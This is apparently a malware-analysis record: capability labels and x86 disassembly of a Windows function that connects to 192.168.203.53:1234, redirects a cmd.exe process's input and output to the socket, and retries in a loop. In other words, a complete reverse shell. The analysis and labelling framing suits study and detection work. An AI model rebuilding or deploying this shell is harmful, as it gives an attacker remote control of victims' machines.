Function at 0x401460
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push ebx
push ecx
sub esp, 0x14c
call sym.___main
mov dword [esp + 4], 0x4e8040
mov dword [esp], 0x202
call sym._WSAStartup_8
sub esp, 8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4014b8
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], str.WSAStartup_failed_with_error:__d_n
call sym._printf
mov eax, 1
jmp 0x401717
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._WSASocketA_24
sub esp, 0x18
mov dword [0x4e8020], eax
mov eax, dword [0x4e8020]
cmp eax, 0xffffffff
jne 0x401518
call sym._WSAGetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.WSASocket_function_failed_with_error___d_n
call sym._wprintf
jmp 0x401703
mov dword [esp], str.ws2_32.dll
call sym._LoadLibraryA_4
sub esp, 4
mov dword [esp + 4], str.gethostbyname
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x20], eax
mov dword [esp], str.192.168.203.53
call sym._gethostbyname_4
sub esp, 4
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp], eax
call sym._inet_ntoa_4
sub esp, 4
mov dword [esp + 4], eax
mov dword [esp], str.192.168.203.53
call sym._strcpy
mov word [0x4e81d0], 2
mov dword [esp], str.1234
call sym._atoi
movzx eax, ax
mov dword [esp], eax
call sym._htons_4
sub esp, 4
mov word [0x4e81d2], ax
mov dword [esp], str.192.168.203.53
call sym._inet_addr_4
sub esp, 4
mov dword [0x4e81d4], eax
mov dword [esp + 8], 8
mov dword [esp + 4], 0
mov dword [esp], 0x4e81d8
call sym._memset
mov eax, dword [0x4e8020]
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x4e81d0
mov dword [esp], eax
call sym._connect_12
sub esp, 0xc
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x401615
call sym._WSAGetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.connect_function_failed_with_error:__ld_n
call sym._wprintf
mov eax, 1
jmp 0x401717
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
mov dword [esp], 0x4e81e0
call sym._memset
mov dword [0x4e81e0], 0x44
mov dword [0x4e820c], 0x101
mov eax, dword [0x4e8020]
mov dword [0x4e8220], eax
mov eax, dword [0x4e8220]
mov dword [0x4e821c], eax
mov eax, dword [0x4e821c]
mov dword [0x4e8218], eax
mov dword [ebp - 0x123], 0x2e646d63
mov dword [ebp - 0x11f], 0x657865
lea eax, [ebp - 0x11b]
mov ecx, 0xf7
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
mov dword [esp + 0x24], 0x4e8224
mov dword [esp + 0x20], 0x4e81e0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x123]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._CreateProcessA_40
sub esp, 0x28
mov eax, 0
jmp 0x401717
mov dword [esp], 0x7530
call sym._Sleep_4
sub esp, 4
jmp 0x40147b
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop edi
pop ebp
lea esp, [ecx - 4]
ret